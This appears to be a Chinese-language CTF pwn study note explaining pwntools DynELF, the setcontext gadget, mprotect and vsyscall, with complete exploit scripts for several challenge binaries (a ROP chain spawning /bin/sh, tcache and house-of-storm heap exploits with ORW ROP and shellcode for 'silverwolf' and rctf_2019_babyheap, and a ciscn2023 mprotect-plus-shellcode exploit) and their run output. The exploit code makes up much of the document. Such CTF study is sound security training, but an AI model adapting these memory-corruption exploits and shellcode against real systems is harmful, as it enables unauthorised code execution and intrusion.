DynELF DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄漏函数的情况下,可以解析任意加载库的任意符号地址。
其原理就是通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算对比出目标符号在内存中的地址
适用情况 DynELF泄露函数方法最方便的使用情况是程序中最好含有write函数且可以多次调用main函数,不然的话还是用LibcSearcher的方法泄露比较好
引例 官方文档给的例子 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 p = process('./pwnme' ) def leak (address ): data = p.read(address, 4 ) log.debug("%#x => %s" , address, enhex(data or '' )) return data main = 0xfeedf4ce libc = 0xdeadb000 system = 0xdeadbeef d = DynELF(leak, main) assert d.lookup(None , 'libc' ) == libcassert d.lookup('system' , 'libc' ) == systemd = DynELF(leak, main, elf=ELF('./pwnme' )) assert d.lookup(None , 'libc' ) == libcassert d.lookup('system' , 'libc' ) == systemd = DynELF(leak, libc + 0x1234 ) assert d.lookup('system' ) == system
log.debug(“%#x => %s”, address, enhex(data or ‘’))解释
1 2 3 log.debug是pwntools中的日志工具,%#x表示输出一个整数的十六进制表示(带有0x前缀),%s表示输出一个字符串。address是要输出的内存地址,data是该地址对应的数据(一个字符串),enhex是pwntools中的工具函数,用于将字符串转换为十六进制表示的字符串(每个字节用两个十六进制字符表示),与encode('hex')相似。 整个输出结果类似于:[DEBUG] 0x12345678 => 6162636465666768 (data or '')的作用是,当data变量为空(None)或者为False时,返回一个空字符串'',否则返回data本身。
一个更具体的例子 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulfun () { char buf[128 ]; read(STDIN_FILENO, buf, 256 ); } int main (int argc, char ** argv) { vulfun(); write(STDOUT_FILENO, "Hello,World\n" , 13 ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *elf = ELF('elf' ) plt_write = elf.symbols['write' ] plt_read = elf.symbols['read' ] vulfun_addr = 0x08048404 def leak (address ): payload1 = 'a' *140 + p32(plt_write) + p32(vulfun_addr) + p32(1 ) + p32(address) + p32(4 ) p.send(payload1) data = p.recv(4 ) return data p = process('./elf' ) d=DynELF(leak, ptr) system_addr = d.lookup('system' , 'libc' ) bss_addr = 0x0804a018 pppr = 0x080484bd payload2 = 'a' *140 + p32(plt_read) + p32(pppr) + p32(0 ) + p32(bss_addr) + p32(8 ) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr) p.send(payload2) p.send("/bin/sh\0" ) p.interactive()
①
上面的exp使用了一个pppr(其实就是pop-pop-pop-ret),作为read的返回地址,这个是很有必要的,鉴于32位下返回地址和参数的互通性(64位也会但一般都不会超过6个参数),如果read后直接接需要的函数地址那么read的参数又会变为所需函数的返回地址和参数,这显然不是我们所希望的,于是通过pppr来重新划分函数栈
基础框架 1 2 3 4 5 6 7 8 9 10 11 p = remote(ip, port) def leak (addr ): payload2leak_addr = “****” + pack(addr) + “****” p.send(payload2leak_addr) data = p.recv() return data d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject) system_addr = d.lookup('system' , 'libc' ) read_add = d.lookup('read' ,'libc' )
使用DynELF时,我们需要使用一个leak函数 作为必选参数 ,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数 ,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了; 其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr 对应的内存地址中的数据 。 且由于DynELF会多次调用leak函数,这个函数必须能任意次使用 ,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据 ,payload中必然包含着打印函数,如write, puts, printf等 ; 而通过实践发现write函数是最理想的 ,因为write函数的特点在于其输出完全由其参数size决定 ,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响 ;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度
结合上面的引例,对DynELF应该能有一个基础认识
leak模板 Write函数模板 1 2 3 4 5 6 7 8 9 10 11 12 13 def leak (address ): payload = offset + p32(write) + p32(main_addr) + p32(1 ) + p32(address) + p32(4 ) sh.sendline(payload) data = sh.recv(4 ) log.success('%x -> %s' %(address,hex (u32(data)))) return data libc = DynELF(leak, elf=ELF(file_path)) system_addr = libc.lookup('system' , 'libc' )
puts函数模板 puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 \x00 ,所以它输出的数据长度是不容易控制 的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 。该函数的优点是在 64 位程序中也可以很方便地使用。** 缺点是会受到零字符截断的影响**,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印出了空字符串,则要手动赋值\x00
,包括我们在 dump 内存的时候,也常常受这个问题的困扰,
Puts
函数后没有其他输出1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def leak (address ): count = 0 data = '' payload = p32(puts_plt_addr) + p32(main_addr) + p32(address) sh.send(payload) print sh.recvuntil('xxx\n' ) up = "" while True : c = sh.recv(numb=1 , timeout=1 ) count += 1 if up == '\n' and c == "" : buf = buf[:-1 ] buf += "\x00" break else : buf += c up = c data = buf[:4 ] log.info("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data
Puts
函数后程序还有其他输出1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def leak (address ): count = 0 data = "" payload = xxx sh.send(payload) print sh.recvuntil("xxx\n" ) up = "" while True : c = sh.recv(1 ) count += 1 if up == '\n' and c == "x" : data = buf[:-1 ] data += "\x00" break else : buf += c up = c data = buf[:4 ] log.info("%#x => %s" % (address, (data or '' ).encode('hex' ))) return data
原理 了解一下,要求不高
获取elf内存加载基地址 已知elf加载内存范围内的一个地址ptr,将该地址进行页对齐
1 page_size = 0x1000page_mask = ~(page_size - 1)ptr &= page_mask
然后对比内存页起始字符串是否为’\x7fELF’,如果不是,一直向低地址内存页(ptr -= page_size)进行查找,找到符合该条件的页面,该页面起始地址就是elf文件内存加载基地址。
寻找elf内存加载基地址的示意图如下:
获取libc.so内存加载基地址 elf是动态链接的可执行文件,在该类型文件中有一个link_map双向链表,其中包含了每个动态加载的库的路径和加载基址等信息
可以通过两种途径获取link_map链表:一是在所有ELF文件中,通过Dynamic段DT_DEBUG区域得到。二是在non-RELRO ELF文件中,link_map地址存在于.got.plt区节中,该区节的加载地址可以从DYNAMIC段DT_PLTGOT区域得到。
这两种途径都需要知道elf的DYNAMIC段地址:我们在第一步中获取了elf内存加载基地址,由此可以得到elf段表,通过解析elf段表可以得到DYNAMIC基地址。
通过第二种方式获取link_map结构的示意图如下:
获取libc.so的hash表、动态符号表、字符串表基地址 在所有需要导出函数给其他文件使用的ELF文件(例如: “libc.so”)中,用动态符号表、字符串表、hash表等一系列表用于指示导出符号(例如:”system”)的名称、地址、hash值等信息。通过libc.so的Dynamic段DT_GNU_HASH、DT_SYMTAB、DT_STRTAB可以获取hash表、动态符号表、字符串表在内存中的基地址。
通过hash表获取system函数地址 hash表是用于查找符号的散列表,通过libc.so的hash表可以找到system函数内存加载地址,在ELF文件中有SYSV、GNU两种类型的hash表,其中通过GNU HASH查找system函数地址示意图如下。
图中: nbuckets是hash buckets的数值,symndx是hash表映射符号表的起始索引,Bloom Filter用作过滤不在符号表中的符号名称,在DynELF中并没有使用:
1 hash=gnu_hash(“system”),gnu_hash是GNU HASH算法函数ndx=hash%nbuckets,ndx是符号表中所有 符号HASH%nubuckets 相等的起始索引
最后:内存泄露函数在过程中用作读取程序内存数据,像上面例子中获取link_map、DYNAMIC段、elf段表等内容都是通过内存泄露函数。
setcontext 基础 setcontext是libc中的一个函数
2.27版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 .text:0000000000052050 ; __int64 __fastcall setcontext(__int64) .text:0000000000052050 public setcontext ; weak .text:0000000000052050 setcontext proc near ; CODE XREF: sub_58680+C↓p .text:0000000000052050 ; DATA XREF: LOAD:0000000000009058↑o .text:0000000000052050 ; __unwind { .text:0000000000052050 57 push rdi .text:0000000000052051 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset .text:0000000000052058 31 D2 xor edx, edx ; oset .text:000000000005205A BF 02 00 00 00 mov edi, 2 ; how .text:000000000005205F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize .text:0000000000052065 B8 0E 00 00 00 mov eax, 0Eh .text:000000000005206A 0F 05 syscall ; LINUX - sys_rt_sigprocmask .text:000000000005206C 5F pop rdi .text:000000000005206D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000052073 73 5B jnb short loc_520D0 .text:0000000000052073 .text:0000000000052075 48 8B 8F E0 00 00 00 mov rcx, [rdi+0E0h] .text:000000000005207C D9 21 fldenv byte ptr [rcx] .text:000000000005207E 0F AE 97 C0 01 00 00 ldmxcsr dword ptr [rdi+1C0h] .text:0000000000052085 48 8B A7 A0 00 00 00 mov rsp, [rdi+0A0h] .text:000000000005208C 48 8B 9F 80 00 00 00 mov rbx, [rdi+80h] .text:0000000000052093 48 8B 6F 78 mov rbp, [rdi+78h] .text:0000000000052097 4C 8B 67 48 mov r12, [rdi+48h] .text:000000000005209B 4C 8B 6F 50 mov r13, [rdi+50h] .text:000000000005209F 4C 8B 77 58 mov r14, [rdi+58h] .text:00000000000520A3 4C 8B 7F 60 mov r15, [rdi+60h] .text:00000000000520A7 48 8B 8F A8 00 00 00 mov rcx, [rdi+0A8h] .text:00000000000520AE 51 push rcx .text:00000000000520AF 48 8B 77 70 mov rsi, [rdi+70h] .text:00000000000520B3 48 8B 97 88 00 00 00 mov rdx, [rdi+88h] .text:00000000000520BA 48 8B 8F 98 00 00 00 mov rcx, [rdi+98h] .text:00000000000520C1 4C 8B 47 28 mov r8, [rdi+28h] .text:00000000000520C5 4C 8B 4F 30 mov r9, [rdi+30h] .text:00000000000520C9 48 8B 7F 68 mov rdi, [rdi+68h] .text:00000000000520C9 ; } // starts at 52050 .text:00000000000520CD ; __unwind { .text:00000000000520CD 31 C0 xor eax, eax .text:00000000000520CF C3 retn
2.29版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 .text:0000000000055E00 public setcontext ; weak .text:0000000000055E00 setcontext proc near ; CODE XREF: sub_5C160+C↓p .text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o .text:0000000000055E00 ; __unwind { .text:0000000000055E00 57 push rdi .text:0000000000055E01 48 8D B7 28 01 00 00 lea rsi, [rdi+128h] ; nset .text:0000000000055E08 31 D2 xor edx, edx ; oset .text:0000000000055E0A BF 02 00 00 00 mov edi, 2 ; how .text:0000000000055E0F 41 BA 08 00 00 00 mov r10d, 8 ; sigsetsize .text:0000000000055E15 B8 0E 00 00 00 mov eax, 0Eh .text:0000000000055E1A 0F 05 syscall ; LINUX - sys_rt_sigprocmask .text:0000000000055E1C 5A pop rdx .text:0000000000055E1D 48 3D 01 F0 FF FF cmp rax, 0FFFFFFFFFFFFF001h .text:0000000000055E23 73 5B jnb short loc_55E80 .text:0000000000055E23 .text:0000000000055E25 48 8B 8A E0 00 00 00 mov rcx, [rdx+0E0h] .text:0000000000055E2C D9 21 fldenv byte ptr [rcx] .text:0000000000055E2E 0F AE 92 C0 01 00 00 ldmxcsr dword ptr [rdx+1C0h] .text:0000000000055E35 48 8B A2 A0 00 00 00 mov rsp, [rdx+0A0h] .text:0000000000055E3C 48 8B 9A 80 00 00 00 mov rbx, [rdx+80h] .text:0000000000055E43 48 8B 6A 78 mov rbp, [rdx+78h] .text:0000000000055E47 4C 8B 62 48 mov r12, [rdx+48h] .text:0000000000055E4B 4C 8B 6A 50 mov r13, [rdx+50h] .text:0000000000055E4F 4C 8B 72 58 mov r14, [rdx+58h] .text:0000000000055E53 4C 8B 7A 60 mov r15, [rdx+60h] .text:0000000000055E57 48 8B 8A A8 00 00 00 mov rcx, [rdx+0A8h] .text:0000000000055E5E 51 push rcx .text:0000000000055E5F 48 8B 72 70 mov rsi, [rdx+70h] .text:0000000000055E63 48 8B 7A 68 mov rdi, [rdx+68h] .text:0000000000055E67 48 8B 8A 98 00 00 00 mov rcx, [rdx+98h] .text:0000000000055E6E 4C 8B 42 28 mov r8, [rdx+28h] .text:0000000000055E72 4C 8B 4A 30 mov r9, [rdx+30h] .text:0000000000055E76 48 8B 92 88 00 00 00 mov rdx, [rdx+88h] .text:0000000000055E76 ; } // starts at 55E00 .text:0000000000055E7D ; __unwind { .text:0000000000055E7D 31 C0 xor eax, eax .text:0000000000055E7F C3 retn
不难看出利用的核心是rdi(2.29以前)和rdx(2.29及以后)
要从特定位置:mov rsp , [??]
开始执行
需要从特定位置开始是因为上面的代码会使程序crash
程序控制了除rax以外的几乎所有寄存器,
其中rip是通过以下代码控制
1 2 3 4 mov rcx, [rdi/rdx+0A8h] push rcx .... retn
唯一不可控的rax也在 xor eax, eax
的作用下变为零
利用 2.29以下 2.29以下的利用要更为简单一些
大部分题目中通过控制 rsp 和 rip 就可以很好地解决堆题不方便直接控制程序的执行流的问题。我们通常是吧 setcontext + 53 写进 free_hook 或者 malloc_hook 中,然后建立或者释放一个堆块,特别释放时 rdi 就会是该堆块的 chunk 头,那如果我们提前布局好堆,就意味着我们可以控制寄存器并劫持程序的执行流。
2.29及以上 2.29 最大的变动就是 setcontext 里控制寄存器由 rdi 变成了 rdx,这就使得我们无法通过直接控制 free 的堆块来控制寄存器。所以要用到一些 gadget 来把 rdi 和 rdx 转换一下。
可以在setcontext之前用一些gadget先由rdi控制rdx
例如如下两个,分别在2.38和2.31找到的gadget
mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
实战 silverwolf checksec,保护全开
1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
ida可以看到有开启沙盒,只允许orw
1 2 3 4 5 6 7 8 9 10 11 12 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009 0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008 0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008 0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x06 0x00 0x00 0x00000000 return KILL
功能是老四样,不过同时只能申请一个chunk
其中delete存在uaf,edit存在off-by-null
利用思路:
先清空seccomp带来的chunk
泄露heap_base
利用uaf写next为tcache_pthread,将其申请出来
七次free,每次都要破坏它的key
满后放入unsortedbin,泄露libc
准备好各个gadget,因为控制的是返回流所以使用gadeget
修改tcahe_pethread,使得申请chunk得到目标地址
写free_hook,同时在堆中布置参数环境
free触发orw
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *context.binary='./silverwolf' libc=ELF('./libc-2.27.so' ) p=process('./silverwolf' ) cho=b'Your choice: ' siz=b'Size: ' con=b'Content: ' ind=b'Index: ' edi=b'' def add (size ): p.sendlineafter(cho,b'1' ) p.sendlineafter(ind,b'0' ) p.sendlineafter(siz,str (size).encode()) def free (): p.sendlineafter(cho,b'4' ) p.sendlineafter(ind,b'0' ) def show (): p.sendlineafter(cho,b'3' ) p.sendlineafter(ind,b'0' ) def edit (content ): p.sendlineafter(cho,b'2' ) p.sendlineafter(ind,b'0' ) p.sendafter(con,content) def clean (): for i in range (14 ): add(0x18 ) add(0x58 ) for i in range (12 ): add(0x68 ) def dbg (): gdb.attach(p) pause() clean() add(0x78 ) free() show() p.recvuntil(b'Content: ' ) raw = u64(p.recv(6 ).ljust(8 ,b'\x00' )) info("raw :" +hex (raw)) heap = raw-0x11b0 success("heap:" +hex (heap)) edit(p64(heap+0x10 )+p64(0 )+b'\n' ) add(0x78 ) add(0x78 ) edit('\x00' *0x78 ) for i in range (7 ): free() edit(p64(0 )*2 +b'\n' ) free() show() p.recvuntil(b'Content: ' ) libc.address = u64(p.recvuntil('\x7f' ).ljust(8 ,b'\x00' ))-96 -0x10 -libc.sym['__malloc_hook' ] setcontext = libc.sym['setcontext' ]+53 free_hook = libc.sym['__free_hook' ] success("free_hook:" +hex (free_hook)) success("setcontext:" +hex (setcontext)) pop_rdi = libc.address+0x00000000000215bf pop_rsi = libc.address+0x0000000000023eea syscall = 0xD2745 +libc.address pop_rdx_r10 = 0x0000000000130544 +libc.address pop_rax = libc.address + 0x0000000000043ae8 edit(p8(0x1 )*64 +p64(0 )*3 +p64(heap+0xef8 )+p64(free_hook)+p64(heap+0xe18 )+p64(heap+0xe80 )+b'\n' ) success("orw:" +hex (heap+0xe18 )) add(0x58 ) edit(p64(setcontext)+b'\n' ) add(0x48 ) flag_str_addr = heap+0xf30 flag_addr = heap+0x200 rsp = heap+0xe18 rbx = 0 rbp = 0 r12 = 0 r13 = 0 r14 = 0 stack_pivot = flat(rbx,rbp,r12,r13,r14,rsp+8 ,pop_rdi,b'./flag\x00' ) info("stack_pivot len:" +hex (len (stack_pivot))) edit(stack_pivot+b'\n' ) dbg() add(0x68 ) orw1 = flat(pop_rdi,flag_str_addr,pop_rsi,0 ,pop_rax,2 ,syscall,pop_rdi,3 ,pop_rsi,flag_addr,pop_rdx_r10,0x100 ,) edit(orw1+b'\n' ) add(0x78 ) orw2 = flat(0 ,pop_rax,0 ,syscall,pop_rdi,1 ,pop_rsi,flag_addr,pop_rdx_r10,0x100 ,0 ,pop_rax,1 ,syscall) edit(orw2+b'\n' ) p.sendline(b'4' ) p.sendline(b'0' ) p.interactive()
运行结果:
1 2 3 4 5 6 7 [*] Switching to interactive mode 1. allocate 2. edit 3. show 4. delete 5. exit Your choice: Index: flag{test}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00`\x00\x00\x00\x00ò\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe2�\x17\x00\x00\x00\x00\x00\xe3�\x17\x00\x00\x00\x00\x00\x00\x00\x00\x001\x00\x00\x00\x00\xdc\xe9\xc7<\x7f\x000\xe6�\x17\x00\x03\x00\x00\x00P\xe4�\x17\x00\x00\x00\x00\x00!\x00\x00\x00\x00\xe2�\x17\x00\x00\x00\x00\x00$
rctf_2019_babyheap checksec
1 2 3 4 5 6 [*] '/home/aichch/pwn/rctf' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
有沙盒只能orw,且程序mallopt(1,0)
禁用了fastbin
edit存在一个off-by-null
1 2 *(_BYTE *)(*((_QWORD *)ptrs + 2 * (int )v1) + (int )read_n(*((void **)ptrs + 2 * (int )v1), *((_DWORD *)ptrs + 4 * (int )v1 + 2 ))) = 0 ;
这题利用还用到了house of storm
此外程序分配内存使用的callloc,会将分配出来的内存置0
利用思路:
先利用house of storm将free_hook-0x20作为一个chunk分配出来
往free_hook写上setcontext +(free_hook+0x18)*2 + shellcode1
其中setcontext的内容为调用mprotect将free_hook所在页的权限修改,并修改rsp为free_hook后方并返回,shellcode1因为长度有限需要二次调用,故shellcode1为向free_hook所在段读入数据并jmp到此处
将setcontext结构所需数值保存到一个chunk中并free该chunk
发送真正的orw-shellcode2
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *p=process('./rctf_2019_babyheap' ) context.binary='./rctf_2019_babyheap' libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) menu = b"Choice: \n" def add (size ): p.recvuntil(menu) p.sendline(b'1' ) p.recvuntil(b"Size: " ) p.sendline(str (size).encode()) def delete (index ): p.recvuntil(menu) p.sendline(b'3' ) p.recvuntil(b"Index: " ) p.sendline(str (index).encode()) def show (index ): p.recvuntil(menu) p.sendline(b'4' ) p.recvuntil(b"Index: " ) p.sendline(str (index).encode()) def edit (index, content ): p.recvuntil(menu) p.sendline(b'2' ) p.recvuntil(b"Index: " ) p.sendline(str (index).encode()) p.recvuntil(b"Content: " ) p.send(content) def dbg (): gdb.attach(p) pause() add(0x80 ) add(0x68 ) add(0xf0 ) add(0x18 ) delete(0 ) edit(1 , b'a' *0x60 + p64(0x100 )) delete(2 ) add(0x80 ) show(1 ) malloc_hook= u64(p.recvuntil(b'\x7f' ).ljust(8 , b'\x00' )) - 0x58 - 0x10 libc.address=malloc_hook-libc.sym['__malloc_hook' ] system = libc.sym['system' ] free_hook = libc.sym['__free_hook' ] set_context = libc.symbols['setcontext' ] success("libc_base:" +hex (libc.address)) add(0x160 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) add(0x508 ) add(0x18 ) add(0x18 ) edit(5 , b'a' *0x4f0 +p64(0x500 )) delete(5 ) edit(4 , b'a' *0x18 ) add(0x18 ) add(0x4d8 ) delete(5 ) delete(6 ) add(0x30 ) add(0x4e8 ) edit(8 , b'a' *0x4f0 +p64(0x500 )) delete(8 ) edit(7 , b'a' *0x18 ) add(0x18 ) add(0x4d8 ) delete(8 ) delete(9 ) add(0x40 ) delete(6 ) add(0x4e8 ) delete(6 ) fake_chunk=free_hook-0x20 edit(11 ,b'\x00' *0x10 + p64(0 ) + p64(0x4f1 ) + p64(0 ) + p64(fake_chunk)) edit(12 ,b'\x00' *0x20 + p64(0 ) + p64(0x4e1 ) + p64(0 ) + p64(fake_chunk+8 ) +p64(0 ) + p64(fake_chunk-0x18 -5 )) add(0x48 ) dbg() sleep(0.5 ) new_addr = free_hook &0xFFFFFFFFFFFFF000 shellcode1 = ''' xor rdi,rdi mov rsi,%d mov edx,0x1000 mov eax,0 syscall jmp rsi ''' % new_addredit(6 , b'a' *0x10 +p64(set_context+53 )+p64(free_hook+0x18 )*2 +asm(shellcode1)) frame = SigreturnFrame() frame.rsp = free_hook+0x10 frame.rdi = new_addr frame.rsi = 0x1000 frame.rdx = 7 frame.rip = libc.sym['mprotect' ] edit(12 , str (frame)) delete(12 ) sleep(0.5 ) shellcode2 = ''' mov rax, 0x67616c662f ;// /flag push rax mov rdi, rsp ;// /flag mov rsi, 0 ;// O_RDONLY xor rdx, rdx ; mov rax, 2 ;// SYS_open syscall mov rdi, rax ;// fd mov rsi,rsp ; mov rdx, 1024 ;// nbytes mov rax,0 ;// SYS_read syscall mov rdi, 1 ;// fd mov rsi, rsp ;// buf mov rdx, rax ;// count mov rax, 1 ;// SYS_write syscall mov rdi, 0 ;// error_code mov rax, 60 syscall ''' p.sendline(asm(shellcode2)) p.interactive()
运行结果,每次运行只有一定概率成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 aichch@sword-shield:~/桌面/pwn$ python 3.py [+] Starting local process './rctf': pid 27043 [*] '/home/aichch/pwn/rctf' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] libc_base:0x7fa0b43a0000 0x7fa0b4766000 [*] Switching to interactive mode [*] Process './rctf' stopped with exit code 0 (pid 27043) flag{test}[*] Got EOF while reading in interactive $ [*] Interrupted
mprotect 基础 mprotect
是一个系统调用,用于更改指定内存区域的保护属性,包括读、写、执行权限。它通常在操作系统中用于管理内存的访问权限,以增强程序的安全性和灵活性。在C语言中,mprotect
的原型如下:
1 int mprotect(void *addr, size_t len, int prot);
mprotect
的作用在于修改指定内存区域的访问权限,从而允许或禁止不同类型的访问。这对于实现一些特定的内存保护机制非常有用,例如:
代码段保护 :在程序运行时,将代码段设置为只执行(PROT_EXEC
),以防止恶意代码注入并执行。
数据段保护 :可以将某些敏感数据区域设置为只读(PROT_READ
),防止在不合适的情况下被修改。
动态内存分配保护 :在使用动态内存分配函数(如malloc
)分配内存后,可以使用mprotect
来限制对该内存区域的访问权限,从而确保只有特定的操作可以修改或执行该内存。
在pwn中的利用 一般都是利用其修改某一块内存权限为rwx,然后去执行shellcode
例ciscn2023 烧烤摊儿 常规做法原本是ret2syscall构造rop链
但这道题没有pie且有使用mprotect函数
所以可以修改bss段上的空白内存的权限,再往里面写入shellcode,之后返回该处执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(arch='amd64' ,log_level='debug' ) s = lambda buf: io.send(buf) sl = lambda buf: io.sendline(buf) sa = lambda delim, buf: io.sendafter(delim, buf) sal = lambda delim, buf: io.sendlineafter(delim, buf) shell = lambda : io.interactive() r = lambda n=None : io.recv(n) ra = lambda t=tube.forever:io.recvall(t) ru = lambda delim: io.recvuntil(delim) rl = lambda : io.recvline() rls = lambda n=2 **20 : io.recvlines(n) su = lambda buf,addr:io.success(buf+"==>" +hex (addr)) io = process('./shaokao' ) sl(str (1 )) sl(str (1 )) sl(str (-1000000 )) ru("> " ) sl(str (4 )) read=0x457DC0 mprotect=0x458B00 pop_rsi=0x40a67e pop_rdx_rbx=0x4a404b pop_rdi=0x40264f ru("> " ) sl(str (5 )) ru("请赐名:" ) payload=b'a' * 0x20 +p64(0 ) payload+=p64(pop_rdi)+p64(0x4E8000 ) payload+=p64(pop_rsi)+p64(0x1000 ) payload+=p64(pop_rdx_rbx)+p64(7 )+p64(0 )+p64(mprotect) payload+=p64(pop_rdi)+p64(0 ) payload+=p64(pop_rsi)+p64(0x4E8000 ) payload+=p64(pop_rdx_rbx)+p64(0x100 )+p64(0 )+p64(read) payload+=p64(0x4E8000 ) payload=b'a' *0x20 +p64(0 )+p64(pop_rdi)+p64(0x4E8000 )+p64(pop_rsi)+p64(0x1000 )+p64(pop_rdx_rbx)+p64(7 )+p64(0 )+p64(mprotect)+p64(pop_rdi)+p64(0 )+p64(pop_rsi)+p64(0x4E8000 )+p64(pop_rdx_rbx)+p64(0x100 )+p64(0 )+p64(read)+p64(0x4E8000 ) sl(payload) shellcode=asm(shellcraft.sh()) sl(shellcode) shell()
vsyscall gdb运行程序的时候会发现无论是否开启pie和aslr,内存ffffffffff600000-ffffffffff601000
处一定是属于vsyscall
将这块内存dump memory ./dump ffffffffff600000 ffffffffff601000
dump下来查看,可以发现
内部是三个系统调用并跟随着retn
利用 可以看到这里面存在syscall。但并不能将其当作syscall 进行使用——这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错。因此我们仅仅可以使用0xffffffffff600000, 0xffffffffff600400,0xffffffffff600800这三个地址,而这三个地址处对应的函数,我们可以简单地将其看作一个retn指令——也就是说,我们可以通过覆盖返回地址为上面分分析到的三个地址,从而改变栈的布局。
需要特别说明的是,vsyscall在某些linux版本上可能并不存在
vsyscall的利用其实就是在程序地址随机化的情况下,通过在栈上寻找仅有部分比特位与我们需要的返回地址不同的地址信息,通过溢出部分写修改该地址,然后将vsyscall视为一个已知地址的gadget使返回地址一步步移动到所修改处
其实还是栈溢出的简单利用
把vsyscall视为一个固定地址的ret-gadget
例题 magic_number 1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char buf[44 ]; int v5; sub_9A0(a1, a2, a3); v5 = rand(); if ( v5 == 305419896 ) system("/bin/sh" ); puts ("Your Input :" ); read(0 , buf, 0x100 uLL); return 0LL ; }
保护
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
因为pie的存在,且程序简单没有输出几乎难以利用
观察栈上可以发现有与我们所需要的地址只差最后8比特位的地址
只要修改它并通过vsyscall返回到该处即可getshell
exp:
